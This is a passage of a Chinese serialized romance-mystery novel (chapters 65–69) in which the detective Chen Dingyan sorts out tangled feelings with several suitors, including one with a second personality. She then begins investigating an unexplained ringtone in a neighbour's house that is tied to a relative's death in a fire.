“我不知道今天应该怎么办,也不知道未来到底该怎么办。” 他嫉妒所有能在她身边正常地和她说话、正常来往、正常表达心意的人类。 因为他不能。 他环着她腰间的手,手指曲起来紧紧攥住她的衣服。 陈定言也感觉到了一点不一样的东西。 孟行霄向来维持着波澜不惊的平静,仿佛天塌下来都不会眨一眨眼睛。 他的微笑淡淡的,他的愤怒淡淡的,像白开水一样毫无味道,给人的感觉是冰冷的。 现在,虽然他仍然以平时的语气在对她说话,但他的呼吸急促,他的心跳搏动强有力,他浑身的肌肉都绷着一股劲。 证明他是活生生的会愤怒的人。 她调侃道:“你搞清楚,别以为吃饭看电影去游乐园这些已经变成模板的套路才是约会。你不一样,你甚至有上天给你准备独一无二的倒霉模板。” 孟行霄怔了一下。 陈定言想起他额头上的包便憋着笑:“额头撞出包约会!” 明明是在开玩笑,他却感觉到胸口隐隐有些发胀。 他和她对视了片刻,手臂揽过她,身体以蜷缩的姿势将她环抱在其中,直到分不清是她窝在他怀里,还是他把自己埋在了她的怀里。 “陈定言,你要倒大霉了。”他的声音很轻。 他遇到她是抽中了人生中的大奖。 但是对她来说却完全是倒了八辈子霉,像踩到了路边的狗屎一样。 第65章 第65章整个人都乱套了 裴勉知在家里等待。 他拿着平板工作,却什么都没看进去,默默咬紧后槽牙。 如果他前几天没有和她制定“游戏规则”没有让她自由地去“测试”“了解”其他人的话,是不是现在境况就翻转了。 如果他那时紧紧抓住她、甚至稍微耍点赖皮,即使显得不那么贤惠大气,但是不是起码现在不会在这里做怨夫。 …… 翻江倒海的情绪随着假设不断上涌。 要不找个时光机回去重新来过算了。 看了一眼时间,她应该快回来了。 裴勉知扔掉平板,思忖着她会以什么表情什么动作回来,最终锚定了自己的蹲点地点。 他把房间弄得很暗,自己蜷缩在沙发上,闭 上眼睛打盹。 这样的话,她的第一反应肯定是冲过来关心他是不是还活着。 …… 片刻后,门开了。 “我回来了。” 陈定言走进屋里便觉得不太对劲:窗帘全都是拉上的,屋里却没有开灯,很暗。 她谨慎地打开灯,四处张望了一下看到沙发上蜷缩着一个人。 她第一时间跑过去,用手试他的呼吸:“喂,裴勉知!” 果然,她来看看他是不是还活着。 裴勉知睁开眼,拉住她的手:“试我的呼吸是什么意思?” 陈定言有些郁闷:明明是他自己非要把家里布置得跟凶案现场一样的。他到底知不知道在很多案子里,都是这么发现死者的。 她控诉道:“你这么一遭我都快被你吓死了,这简直是戳到我的职业病了。” 他带着无奈:“不是这样的话,你进来的瞬间肯定就忽视我了。” 裴勉知挪动身体,靠着沙发背坐起来,手掌扣住她的肩膀,动作懒懒地凑过去,直到两人距离很近。 “今天做了什么?”他的目光有些侵略性地望进她的眼中。 陈定言愣了一下。 以前的裴勉知不是这样的,有一种不由分说的正直和冷酷。今天他像魅魔上身了一样。 她大吃一惊。 她承认她确实想了解他,她想知道他内心的“真相”。但现在事态有点超出她的把控了。 “今天就去约会了。”她心虚地说。 裴勉知凑得很近,能闻得到他身上淡淡的香味。他的双眼毫不掩饰地盯着她,鼻尖和鼻尖撞在一起。 “遵守游戏规则了吗?”他说话时候的呼吸落在她的脸颊上。 “有一点点没遵守,大部分遵守了。没遵守的部分是我主动跑去找孟行霄了。”她的身体僵直,好像唐僧进入盘丝洞一样。 游戏规则是只能由别人勾引她,她不能主动对他们做什么。 但她今天确实主动跑去,为了看看孟行霄脑子里进的水了,结果也没有让她失望——她看到了他脑门上撞出来的大包。 她对此心满意足。 “他主动对你做了什么?”他继续盘问她。 “我们躺在床上说话。然后我们吃饭……”她说。 裴勉知一口气差点没喘上来,他的气血涌到脑门,几乎不能思考。 他站起身的同时把她一起拉起来:“走。” 她连忙喊着制止他:“你要去杀人吗?这不行的,很丢人的。” 裴勉知在前头拉着她,回头用慈悲的眼神看了她一眼:“我才不是你,尽想着添乱。” “那你是要带我去做什么?”她追问。 “和我一起去床上躺着。”他咬牙切齿地道。 裴勉知想他可能是有点疯了。 他现在后悔得无以复加。 她说她已经决定认真地和他谈恋爱了。 他为了所谓的贤惠非要让她自由行动,完成这份“研究报告”。 现在好了。 是他作茧自缚。 他能感觉到自己的理智已经随着嫉妒和后悔崩溃殆尽。 “我答应你。”她站定,拽了拽他的手,忽然说。 裴勉知有些无力地放下手,他疲惫而无奈地道:“我开玩笑的。” 她认真地道:“就算是你勾引我,我也可以决定拒绝或者接受。现在我说接受。” 裴勉知怔了怔,他低下头。 从小一起长大的他也还没有和她一起那样亲密地说过话。 他以为他忍耐了那么久,已经足够成熟大方,能够容忍别人在她身边。 他甚至想过,万一她结了婚,他还可以继续作为她的朋友在她身边,将自己掩饰得很好。 但他没想到他仅仅是听说这种事,那根名为理智的弦就崩断了。 ……真是不自量力。 他掩饰得太久了,不仅是故意把内心向她隐瞒,而且他的自欺欺人已经将他自己都骗到了。 裴勉知慢慢走到她身边,他抱住了她,将下巴搁在她的颈窝,一只手抱着她的后脑勺,将她裹在怀里。 …… 睡前,裴勉知回了自己的房间。 两人遵守约定,只是一起躺着说了一会儿话。 裴勉知在她耳边如同海妖一样低语:“多踢掉几个人,你的研究对象不要太多了好不好?” 陈定言疑惑:“还要踢掉谁?还有谁?” 裴勉知沉默:“……” “我去问问军师。”她骨碌一下爬起来。 裴勉知拉住她把她带过来:“把军师也踢掉。” 她冷静地道:“你不能这么撺掇我,这是违反规则的。你还说不给我添乱呢。你没发现吗?裴勉知你整个人已经乱套了。” 裴勉知轻声道:“……嗯,整个人已经乱套了。” 他混乱得自己都觉得自己有点不体面了。 他开始胡思乱想、胡言乱语、胡作非为。 陈定言开始思考:哪里还有研究对象?哪里?到底哪里? 果然还得去问军师。 裴勉知回去睡觉以后,陈定言便打开聊天框。 【陈定言】:请问。 【敏糸】:你是一点都没察觉到吗? 【陈定言】:…… 【敏糸】:我已经把名字改成你的第三个研究课题了,你好好想想吧。 第66章 第66章求你 薛繁恩。 陈定言总有种很久没有见到他了的错觉,明明前几天两人还碰过面。 她思考了一下,灵光一闪:对了,是因为这小子最近没有折腾事情,所以看起来存在感变弱了。 以前他是因为作精而被她记住。 现在他是因为太正常而被她忘记。 而这绝对不是她取向奇怪的原因。 完全是因为她身边的人最近都有点癫癫的,这才导致最近薛繁恩因为太过正常而格格不入。 【陈定言】:算了,这个课题我放弃。 【敏糸】:为什么?是因为你还喜欢他吗? 不知道为什么,见她没有回答,对方还有点急了,火速发来下一条消息。 【敏糸】:你说清楚。 陈定言纳闷。 倒不是因为“旧情未了”这种离谱的原因,而是因为对方太复杂了。 说白了她又不是心理医生。 【陈定言】:单纯是因为觉得这个课题太复杂了,不想学了。 她突然起兴致研究这个,主要是因为做了那个噩梦,梦到自己居然被性冷淡buff控制得在感情方面失去判断力,她吓得连夜起来搞暧昧。 她不能失去判断力。 但是对薛繁恩,有没有判断力都是一样的。 ——在哪里跌倒就在哪里躺平的陈定言如是想。 …… 薛繁恩当然不知道这件事。 他已经结束了“退休时间”,开始认真工作。他答应过陈定言,他会找到一个更适合自己的工作。 薛繁恩兴冲冲地把自己完成的第一份策划案拿给她看。 陈定言看了一眼,本来想迅速过脑,没想到文字从眼前飘过后竟然难以理解,硬生生思考了几秒才大吃一惊。 “……你说给我的惊喜是这个吗?” 薛繁恩赛车停赛后,选了一个八竿子打不着的职业:跨界策划师,通过靠人脉和创意整合资源,促 成品牌之间的联名合作的策划人。 而他完成的第一单生意就是促成周末烤串和星期日健身品牌合作。 前一阵子她才听说的荒唐新闻,居然是薛繁恩的手笔。 陈定言不敢相信这是真的,但现在她面前的就是事实。 “不对,你转行怎么那么丝滑?”她怀疑地道。 “我父亲就是做这个的。”薛繁恩双臂搭在桌上,看着她,弯起眼睛笑。 原来如此。 陈定言略略思考了一下,差不多理解了。 自小耳濡目染的技能,在赛车生涯中积累起的人脉和商业价值,让他顺利地转了行业。 “你不了解我的地方还有很多。”薛繁恩露出了有些难过的笑,轻声说。 不知道是不是因为“决定扔掉课题”让她有点隐约的愧疚,陈定言总觉得他现在的表情看起来有点可怜,像被抛弃了一样。 自然光线给他的脸打上阴影和亮区,仿佛有生命力一样流淌着。 可恶,这个家伙长得是真对胃口。 陈定言强迫自己移开目光,免得被蛊惑了。 薛繁恩早就注意到了这些天她似乎总是心不在焉的,他总觉得她正在慢慢疏远他。 他看着她,想说点什么,却又不知道说什么。 正好此时陈定言的手机响了。 她站起来:“我接个电话。” 他垂下眼帘,长而密的睫毛在眼里打出一片阴影,手指蜷缩了一下。 等她接完电话,他也站起来,露出有些勉强的笑:“那我也先走了。” 她看着他愣了一下,然后拍了拍他的肩膀,笑:“加油,有需要帮忙的可以找我。” 他心里更是有种说不上来的闷闷的难受。 薛繁恩走出一段路,回过头又看她。 他想起之前她对他说过的:我以前是有点喜欢你的,现在也说不上讨厌。 既然之前是喜欢的,为什么现在不喜欢了呢? 虽然她不说,但他能感觉得到。 她正在疏远他。 并不是斩断关系,而是有目的有计划地划出“朋友”那条界限。也就是说,她准备把他彻底划在朋友的范畴,不考虑任何爱情的发展可能性。 可是为什么?他做错了什么? 薛繁恩回到车上,关上车门后,他用手掌心动作很大地擦过脸,抹掉眼泪。 凡恩:[因为那个家伙,你变得愚蠢又胆小,认清楚现实,你越是这样她越不喜欢你。] 为什么在她的事情上,你总要出来说两句?是因为你也在破防吗?他问。 凡恩:[收起你那无端的猜测。] 是我浪费了太多时间,如果我在高中的时候就向她说明白的话,就不会这样了。他说。 他曾让她动过心,但她现在却不要他了,他接受不了这个落差。他想找个没人的地方躲起来,别让他看到她和别人在一起,也别让他听到任何消息。 可是到底为什么?是因为她有了其他喜欢的人吗? 片刻后,薛繁恩才拧动车钥匙发动了汽车。 凡恩:[你还不明白吗?你就是胆小鬼。你以为第二人格会诞生的原因是什么?你面对恐惧的时候只会逃避。] 凡恩:[所以你应该趁着还有逃走的机会赶紧离开,不要等到自尊心完全碎成渣渣才开始落荒而逃。] 车里静默一片。 薛繁恩整个人像陷入沼泽地一样慢慢往下沉,他的动作变得迟滞。 “嗡——”手机振动的声音。 来电是陈定言。 薛繁恩接起电话,装出轻松的语调:“喂。” 电话那头,陈定言正看着地下停车场的方向:“怎么了?你的车怎么了吗?” 他吃了一惊,头脑还来不及运转过来:“什么?” 她看了一眼手表:“我看到你进地下车库后,已经过了十分钟还没开车出来,有点担心。” 她已经对他够好了,他还在贪心什么。 世界上没有几个人会在他进入车库后等待他开车出来告别的。 她继续道:“我说了如果你需要帮忙的话,可以找我。你的车是坏了吗?还是突然发生了什么事?” 他一点都不敢出声,免得自己的声音被她听出端倪来。 但她还是听出来了:“你哭了?为什么?” 从电话那头突然嘈杂起来的背景音可以听出来,她正在动身跑过来。 薛繁恩低下头,用手拢住脸庞,声音闷闷的:“……既然你决定永远不再喜欢我,就不要这样对我。” 陈定言停下脚步,她有些诧异地再仔细听了听电话那头的声音。 她根本没跟他说过这件事。 “放弃课题”这件事她只和军师提过。 她思考了一下,没有回话,而是加快脚步往地下车库的方向走。 薛繁恩伏在方向盘上,额头枕着手臂,声音里带着沙哑:“你不可以这样。” 车内闷热的空气和通话中的背景音像细微的电流扎着他的呼吸。 压抑着的情绪终于爆发出来。 “我不是裴勉知,我做不到心平气和地看着你去喜欢别人。” “我就是这样一个很坏的人,不仅如此我还有病,心理疾病心理阴影什么的全都有。你和我大吵一架吧……干脆和我绝交。” “唯独不要这样对我,不要让我成为你的朋友。” 他的声音因为情绪激动而扬起来,又因为无力和灰心而落下去。 这样太丢面子了。 虽然如此,他也宁愿在她面前丢掉所有面子把事情说明白。 “笃笃”,车窗上的敲打声。 “薛繁恩。” 陈定言找到了他的车,透过驾驶室的车窗看到他无力地靠在方向盘上,便敲了敲车窗。 薛繁恩直起身来,他的唇抿成一条直线,绷着脸打开车门。 陈定言打量了他一下。 “你听谁说了什么?”她柔声问。 “没有听谁说。”他说。 “那你……”她卡壳了。 他语气冷硬地道:“陈定言,你就在这里做选择吧。如果你明确不喜欢我,我会立刻从你眼前滚得远远的。” 她想了想:“我不喜欢你。” 薛繁恩的脊梁骨像是一下子垮掉了,他脸上露出了绝望的神色。 他的身体重心失衡,跌跌撞撞地往前趔趄了一下。 她连忙伸手扶了他一把。 他却顺势抱住了她,用力地把她圈在怀里,手臂都在发抖。 他把脸埋进她的颈窝里,整个脊背像弓一样紧绷着,控制着呼吸,胸膛一下一下地起伏着。 薛繁恩的瞳孔在微微颤动着,眼中强忍着眼泪,不敢哭出来。 她让他变得怯弱又狼狈,像丧家之犬一样。 “求求你。”他低声哀求道。 陈定言觉得她有点过火了。 她原来也只是试探一下他,没想到他的反应会那么大。 难道她不想做的课题,上天也要硬塞给她做吗? “你不是说立刻滚得远远的吗?”她无奈地问。 他死死地抱着她,手指紧紧攥着她的衣服:“求你喜欢我……一点点就好了。” 第67章 第67章你有没有喜欢过我?…… 陈定言心灵开裂了。 她不记得自己是怎么回去的了,大约是摸摸薛繁恩的脑袋,又亲亲他的脸颊之后才总算哄好了。 她在心里不断质问薛繁恩和自己:哥们,有这么严重?还有这个课题她是非学不可吗? 质问的结果,是她挫败地躺平。 算了,顺便的事。 解决一个案子、两个案子或者三个案子,都是差不多的。 同时,她突然觉得:薛繁恩和他的第二人格凡恩之间的界限正在逐渐模糊。 薛繁恩本人也像凡恩一样逐渐变得像沼泽地般。甚至她靠近他后就如陷入淤泥地里无法自拔。 其实她完全可以无视他,按照自己的懒惰习性放弃他。但她没有。 她也分不清自己的内心想法了。 总之是一滩糊涂账。 她的军师严肃地警告她: 【敏糸】:劝你不要存恻隐之心,那种男人只会纠缠不休。 【陈定言】:……这下完蛋啦! …… 地下车库内。 陈定言离开后,薛繁恩总算反应过来了。 他怔了几秒,猛的吸了一口气,抬起手摸着脸颊,笑意一点点从嘴角扩散开来。 他猛的转身,动作利落地跨进车里。 钥匙 拧动、引擎轰然响起后,他的心脏似乎也在被什么填满、充溢。 车像子弹一样冲出去,干脆地甩尾往地下车库的出口开去。指示出口的绿色提示灯从车窗两侧飞快划过。 他离开昏暗的地下车库,光亮溢满他的视野,他来到明亮的外界,没有条条框框的停车位,没有挨挨挤挤的汽车,只有自由的通往前方的道路。 他分明感到自己在流眼泪,但眼里却有抹不去的笑意。 她说会喜欢我的,听到了吗?他说。 凡恩:[谁管你。] 她要喜欢我了!他说。 凡恩:[你给我适可而止。] 薛繁恩开车上了高速公路,仪表盘上的指针稳稳地指向最高限定速度,风声从车身两边尖锐地呼啸而过。 在他度过童年的德国,百分之七十的高速公路不限速。 虽然此刻他受到限速的限制,但他的心情却仿佛没有任何辖制。 她的初恋是我。他说。 凡恩:[闭嘴。] 她现在和未来也将喜欢我。 哪怕只有一点点都好,只要在她心里占据一个小角落就好了。他说。 凡恩:[你做不到的,当你要到了一点点,你会想要更多。] 我有自知之明。真正贪心的是你,你甚至想挤掉我然后自己上位。 从此刻开始你永远不可能从我手里夺取掌控权了。你开始变得比我软弱,因为她不喜欢你。他说。 凡恩:[滚。] 你不相信的话,现在尝试着出来成为主人格。他甚至挑衅道。 凡恩无法出来。 凡恩彻底沦为深埋在他脑内的一个幽灵,一个声音,却无法再对他的生活施加更多影响。 凡恩:[你以为我会被你的挑衅激怒吗?] 她明确地说是我,不是你,而你没有得到任何承诺。她不喜欢你。光是这一点就可以让你彻底心灰意冷了。他说。 凡恩没有再说话。 凡恩沉默得有些死寂。 …… 次日。 陈定言在信箱里收到了一封奇怪的信。 没有邮戳,没有寄件人。 她打开信。 【你有没有喜欢过他的某些不像是他的瞬间?到底有没有?!!】 陈定言看着白纸上的两个惊叹号陷入沉思:“……” 到底是谁脾气那么坏。 如果说是“他的某些不像是他的瞬间”,似乎有一个人选。 是薛繁恩。 不像是他的瞬间,指的就是凡恩出现的瞬间。 所以,真相很简单。 在这张纸上破防地写下两个惊叹号的坏脾气奇葩就是凡恩。 陈定言无奈地找上薛繁恩:“让凡恩出来一下,我有话要对他说。” 薛繁恩很大度地让位:“好。” …… 凡恩懒散地往椅子靠背上靠了一下,这是他的标志性动作。 “这是你写的吗?”陈定言拿起那张纸给他看。 “是又怎么样?”他的声音比以前更为沙哑一点,也更为无奈一些。 她直接道:“你想问我什么?问我有没有喜欢过你吗?” 凡恩冷哼了一声:“我没有那么无聊,我只是想让你认清楚,你的初恋到底是什么情况,你必须搞明白你以前喜欢的是个什么东西。” “你的初恋并不是薛繁恩,你只是喜欢了一个半人半怪物,而我就是那个怪物。” 她反将一军:“如果我说有呢?” 凡恩噎住了。 她继续说:“那时我虽然不知道你的存在,但我大概知道某些瞬间他变得不太一样,而我觉得这种反差也挺可爱的。” “但这种喜欢和喜欢凡恩是有区别的。因为同时也喜欢凡恩,指的是我明确地喜欢两个人。但就像你说的那样,我当时只是喜欢一个矛盾而鲜活的人而已。” 凡恩的后槽牙情不自禁地咬住了。 他故作冷静地闭了闭眼,藏在口袋里的手却握紧了拳头。 “闭嘴,别说了。” 他的脸色铁青,隐忍地吸了一口气。 或许就像薛繁恩说的那样,她不喜欢他。 就算她曾经喜欢过他的某些瞬间,那也是把他当成薛繁恩的一部分来算。 那个苍白的阴暗的幽灵,如果单独作为一个独立的个体出现在她面前,她连一眼都不会看。 凡恩忍耐着,踢了一下桌子站起身来,转过身背对着她,冷笑了一声:“够了,你没必要特意把我叫出来羞辱我。” 陈定言也站起来。 她此刻也逐渐感受到了抽丝剥茧找出真相的爽感。 在这个复杂而矛盾的课题中,感情的事一团乱麻,怎么都说不清。但其中却有细丝般的线索连接着各个节点,贯穿着他们的过去和现在。 她坏心眼地、近乎火上浇油地问:“Venn,为什么你觉得是羞辱?” 凡恩整个人都变得有些杀气腾腾的,他攥着手指,嘴角带着冰冷的笑意。 “问这些对你有什么意义吗?既然你很清楚自己的心意,那么我心里在想什么也和你无关了。”他压着声音。 “凡恩,你的自尊心强吗?”她却问。 “我已经说了:我怎么样,和你无关。” “如果你觉得被伤害了,那很抱歉。但如果你觉得实在受不了,我也可以尝试喜欢你。” 凡恩更为愤怒:“你是怎么能说出这种渣得不能再渣的话来的?!” “所以你的意思是,要我只喜欢你一个人,不然就是渣,对吗?”她穷追不舍。 凡恩几乎想落荒而逃。 侦探的直觉和敏锐的洞察力让她能分辨谎言,像锋利的剑刃一样刺穿内心。 “别再问了。”他恼羞成怒地道。 “薛繁恩说他只要一点点就好了,你呢?还是说你的野心更庞大?” “不喜欢我,你就别和我说话!”他低吼道。 “但我觉得你很勇敢,使命就是承担恐惧的小怪物。”她用上了刚才他自称的绰号。 凡恩怔了一下,整个人都僵住了。 第68章 第68章你家有没有高三生?…… 侦探根本不会对她所说的任何一句话负责。 她只需要找出真相、从他的话语中找出谎言,把犯人逼到绝境后不得已束手就擒就够了。 无可奈何。 束手就擒。 终身监禁。 凡恩很清楚接下来的一系列流程。 只有薛繁恩那个傻子才会相信她说的“会喜欢你的”这种话是真的。 ——道理他都懂。 但是他无法控制自己,纵身跳进了陷阱。 就算她是为了此刻编造出来的谎言,他也觉得无所谓。 凡恩没有提出更多的要求,像被平息的风暴一样平静下来。 …… 陈定言很满意这个处理结果。 她觉得自己的审讯能力好像精进了,为此她专门去找了一趟军师自夸。 同时,在孟行霄等警察在忙退休教师周跃潭十年前的杀妻案和十年后的杀学生案时,陈定言自有另外的事要忙。 她数了数自己的战绩:帮助本地市民解决了一起婚外情事件、帮助查出一起绿/帽/癖,查出两起偷拍事件。 到底是谁在说要提高生育率的。 明明那么多急着要生的。 但奇怪的是,人渣满脑子想繁殖的概率更高一点,去偷去抢女人都要偷偷生下七八胎。 这似乎也能解释为什么犯罪率逐年增加的原因:因为蠢人坏人越生越多,导致整个社会的基因结构正在改变。 和其他开律师频道每天听点奇葩人类事迹的律师一样,陈定言忧心忡忡地担心整个人类的未来。 6月底。 陈定言总算从郑夏寒的远房亲戚那里拿到了授权公证,并取回了郑夏寒的遗体,帮他火化。 周虹律师说过也算她一份,因此那天她也来了。 “查小郑的高考分了没?”周虹走在她身边。 “查了,还挺高的,可以上个好大学。”陈定言道。 郑夏寒的骨灰被放入他父母和姐姐的公墓墓位中,小小的一个盒子。 往山下公墓走的时候,前面有一只黄色的土狗,娴熟地 穿过一个个竖立的公墓墓碑。狗子走一段路就回过头来看一看,好像在等她们。 周虹律师觉得稀奇,便去问墓地管理区的保安:“那是谁家的狗?” 一转身,却发现狗子已经不见了。 周虹汗毛都竖起来了。 保安道:“那是野狗,流窜在附近树林里的,怎么今天来这里了?它很怕人的,我偶尔会喂它一下,其余时间看到上山的家属都跑得远远的。” 陈定言看向山上茂密的树林,黛绿的深色重重叠叠。 回去的路上,周虹律师遗憾地道:“希望小郑和家人一起好好休息。” …… 可能是因为刚处理过郑夏寒的后事,陈定言在接到下一个调查委托的时候很谨慎。 电话是母亲大人打过来的:“你还记得我们家附近的左伯伯家吗?最近他家有件怪事。” 陈定言隐约记得小时候左伯伯家里有个小孩,经常来找她玩的,于是她谨慎又警惕地问了一声:“左伯伯家里有高三生吗?” “怎么了?家里有高三生难道风水会差吗?”母亲问。 “就问一句,万一有正准备升高三的备考生,或者更糟糕的高三复读生,我好有个心理准备。”她糊弄道。 母亲:“左伯伯家里高三生倒是真有一个,但不是备考生,也不是复读生,是今年刚高考完的高三生。” 陈定言松了一口气:“是已经考试结束的高三生那就太好了。” 经过郑夏寒那件事,她是真怕再有个三长两短的又有一个高三生被逼疯。 母亲描述道:“说起来,这件事还真是那个孩子发现的。那小孩叫什么来着……左成冬,他高考结束在家住,非说家里有莫名其妙的手机铃声,但是整个家里没有人的铃声是那样的。” 陈定言思考了一下:“这种事的话,如果没有小偷或者偷偷潜入家里的人,那就要考虑藏尸了。” 母亲:“说什么呐你这张坏嘴巴。” 陈定言嬉皮笑脸:“现在世道危险,我要把最坏的可能性考虑进去。” 她还真不是开玩笑的,她确实在考虑这个可能性。本区犯罪率蹭蹭上升后,她不得不这么猜测。 母亲:“总之你来一趟,看看到底怎么回事。” 次日上午,陈定言开车回到老家。 这里是郊区,二十年前的自建房区,居民都有自己的菜园,甚至有些人家还有竹园,到了春天就可以挖笋吃。 左伯伯家的房子背后就有一个小竹林,这个季节茂密而凉快。 左伯伯其实是当爷爷的人了,不过陈定言小时候他还是当“伯伯”的年纪,所以就这样叫下来了。 左伯伯的儿子在其他地方做生意,把孩子左成冬扔给父母管。 陈定言第一个要找的是左成冬:“那个高三生呢?发现情况的高三生。” 母亲一边摇着蒲扇扇风一边对陈定言介绍道:“小成他很乖的,高考也考得很好,他应该不会说谎。” 左成冬从楼上下来了。 他是个有点懒懒散散的年轻人,穿着黑色短袖和运动短裤,皮肤很白,浓眉大眼。 他走到陈定言面前,打量了她一下,微微歪过头问:“有什么要问的?” 陈定言吸了一口气。 左成冬和她记忆中的那个小孩已经长得不太一样了。他现在莫名让她想起郑夏寒,眉眼里透出一股相似。 要不是两人性格不一样,她肯定要精神恍惚地以为是郑夏寒的远房亲戚。 左伯伯在一边训斥左成冬道:“叫定言姐姐!” 左成冬:“陈定言。” 陈定言已经有点忘了这个以前经常来玩的小孩了:“随意,我们先把事情搞清楚。” 左成冬看了她一眼,在前面引路。 他走到正对房子大门的客厅,那里有一道高高的门槛,门槛外是水泥空地。 “昨天上午,我坐在这里数蚂蚁。”他指了指那道门槛。 “然后我听到铃声,好像有点像闹钟铃声,又有点像电话铃声,我分不清是从哪里传来的,但绝对是我们屋子里,不是屋外。” “那个铃声响了大约十多秒,我起先以为是爷爷奶奶或者太奶奶的手机铃声,但吃饭的时候我听了听他们的手机铃声,无论是来电还是闹钟铃声都不是这样的。” 陈定言转头看了看屋内的建筑构造:“后来没再响过吗?” 左成冬:“没有,就响了这么一次。” 这有点棘手。 “那你先听听到底是哪个。”陈定言拿出手机,找到各种手机的系统闹铃和电话铃声。 左成冬双手枕在后脑勺,生无可恋地道:“那么多铃声一个个听过来,你要弄死我吗?” 陈定言怼道:“蚂蚁都乐意数,铃声怎么就不乐意听,你就当数蚂蚁。” 左成冬被迫在客厅听了很久的手机铃声。 他毫无力气地趴在圆桌上看着陈定言:“……不是……也不是这个……不是……不是不是……” 第69章 第69章秘密 左成冬的太奶奶也住在这里,她年纪很大了,但身体还很健康,除了有点老年痴呆之外没有任何问题。 左成冬正在听手机铃声的时候,太奶奶静静地从楼梯迈下来。她又瘦又黑,稀疏花白的头发盘在脑后。 太奶奶走到桌边,深陷的眼窝里浑浊的眼睛望向陈定言。 左成冬站起来,绕到陈定言旁边,低声道:“我们去其他地方。” 太奶奶身体没动,脑袋和眼神跟着两人走动的方向转,幽幽地道:“没用的,没用的,小妹已经死了,找不回来了。” 陈定言的第一反应是反过来询问太奶奶:“您知道些什么吗?” 太奶奶把手摸进了裤袋里,摸了片刻后拿出一张照片来,她把照片举起来,脸上露出诡异的微笑。 照片是一家人的合照。 但照片上所有人的脸部都被剪刀抠烂了,剩下几个洞,看着怪瘆人的。 “妈,别胡说了。”左伯伯大步走过来,把太奶奶手里的照片夺下来。 太奶奶也不恼,只是阴恻恻地笑:“嘿嘿。” 左伯伯对陈定言解释道:“抱歉啊,我妈她今年九十多了,还是老年痴呆,她每天都做些奇怪的事,你别放在心上。” 见左伯伯暂时不想让太奶奶说话,陈定言便暂且按下想去问问太奶奶的想法。 她转而问左伯伯:“小妹是谁?” 左伯伯露出了有些遗憾的表情:“小妹是我女儿,她五六年前就去世了。” 左伯伯有一个儿子一个女儿,女儿左孟萍,也就是左成冬的姑姑,听说是在火灾中被烧死的。 左伯伯刚想说下去,外面孟婶在叫他了:“来搭把手啊你!” 左伯伯连忙停下话头:“我去帮帮忙。” 他离开后,陈定言再想去找太奶奶问问,转头却发现太奶奶不知道去了哪里,安安静静地消失在客厅里了。 “太奶奶走路都没声音吗?”她诧异地问左成冬。 左成冬看着她:“一直都是这样,难道你小时候的事都忘了吗?” 陈定言理所当然地答道:“记不得了,我以前不经常来你家的,倒是你经常过来我家偷偷吃零食。” 左成冬被提起小时候的糗事,脸上闪过不好意思。 “手机铃声测试”持续了接近一个小时才结束,期间左成冬对几条铃声感到不确定。陈定言给他反复放了几遍,指出其中的不同,他这才找到昨天听到的那个铃声。 “清泉”,这是某款安卓手机的一个内置闹钟铃声。 陈定言让左成冬到门槛处去坐着:“你坐在昨天这个位置上,我们重演一下当时的情景。” 左成冬双手抱头:“陈定言,我的耳朵已经听麻了。” 陈定言想了想高三生的悲剧,决定放过这个命苦的家伙:“那就明天,我再去其他地方看看。” 她先去了屋子外的小竹林里。 左成冬跟在她身后,大 约两步的距离,一路上他不说话,双手抄在兜里,低着头慢慢地跟着。 “你可以不用跟着我。”陈定言回过头。 “万一真的藏了人怎么办?”左成冬哼了一声,反驳道。 她反问:“万一真的有人,你又能做什么?到时候我只能喊:三二一我们一起跑。” 左成冬抬起眼瞥了她一眼,很快又垂下眼去,漫不经心地道:“我有练格斗,不要把我当小孩子了。” 也是终于轮到陈定言这个脆皮在这方面自夸了,她笑道:“那巧了,我也有练。” 左成冬沉默了几秒,终于想出个理由:“至少你的背后不会被人袭击了。” “那你的背后呢?你的背后——”陈定言倒吸一口凉气。 左成冬下意识地转过身去。 身后空无一人,只有青绿的竹子。 陈定言笑得歪来歪去:“噗哈哈哈哈。” 左成冬意识到是被耍了,他无奈:“你幼不幼稚?” “我幼稚,”陈定言老实承认,随后她又摆起一副认真脸,“但我不会让狼来了那一套发生,只有这次我耍了你一回,下次记得仍然要小心。” 两人在小竹林里走了一遍。 左成冬见陈定言在仔细查看竹林里的泥土、竹子等等,便问她:“是有人潜伏在附近,还是藏尸案?” 她宽慰道:“你想象力不要太丰富,别紧张,我只是例行检查而已。” 左成冬哼了一声:“你自己明明在思考是不是复仇藏尸案,不然你怎么会对姑姑的事感兴趣。” 陈定言惊叹:“你脑子还挺好用的唉。那你知不知道你姑姑的事?” 左成冬靠近了一点,他在她耳边低声道:“别说是我说的。” 这里以前有个化纤厂子,五年前的某天晚上,一场大火在厂房里烧了起来。 左成冬的姑姑左孟萍就是不幸还留在厂房的员工之一,被活活烧死。 左成冬的爷爷奶奶爸爸妈妈都不喜欢提起这件事,尤其是奶奶,每次说起来都会打断话头,而且听爷爷说她还会做噩梦。 而太奶奶的存在让这件事的恐怖程度翻倍。太奶奶神志不清楚,她有时候会从不知道哪里翻出左孟萍的照片来,藏在米缸里,藏在沙发底下,让舀米的人、打扫卫生的人翻出这张照片时突然被吓一跳。 甚至太奶奶还会在屋里点名:“小妹今天穿的红衣服,好漂亮啊,这脸都被衬得红光满面了的。” 奶奶听到过太奶奶的自言自语,当场就被吓得跌坐在地,半晌都无法恢复过来。 不知是不是因为竹林里阴森森的氛围,就连陈定言也听得毛骨悚然的,她打了个寒战。 左成冬见状问:“你冷吗?” 她一边回答一边用手机记录刚才听到的事:“不冷。” 他用手碰了碰她的手:“明明就很冰。” 她握着手机正在打字的手动作停下来。 左成冬移开目光。 陈定言转眼却关心起了左成冬的心理健康:“对了,你高考结束怎么还在这里?不到你爸妈家里住吗?” 左成冬对于她突然跳脱的话题有些一头雾水:“他们都在出差,要七月中旬才回来,我先留在这里。” 陈定言提议道:“你觉得这里压抑的话,随时可以过来我那里玩。” 左成冬嘴角微微扬起来,抿着唇让自己看起来面无表情一点:“嗯。” 两人从竹林出来的时候,旁边有邻居路过,认出了他们。 “啊呀这是谁呀?小情侣在竹林里约会吗?”爱开玩笑的许叔穿着背心骑着电瓶车回家,见到两人便停下车,穿着拖鞋的脚在地上点了点控制住重心。 电瓶车后座坐着关婶,她戴着大草帽,见丈夫张口就是胡说八道,一下“啪”的打在许叔的肩膀上:“说什么呢,把俩小孩吓坏了怎么办?” 许叔嬉皮笑脸:“我这不是猜着呢嘛,小成也成年了,我们小陈侦探业务很忙,这个时间点会在这里,我就猜是不是……” 关婶一下子把草帽扣到许叔头上,直扣得他后半句话闷到糊里糊涂为止。 “别听他胡说啊。”关婶对陈定言和左成冬两人道。 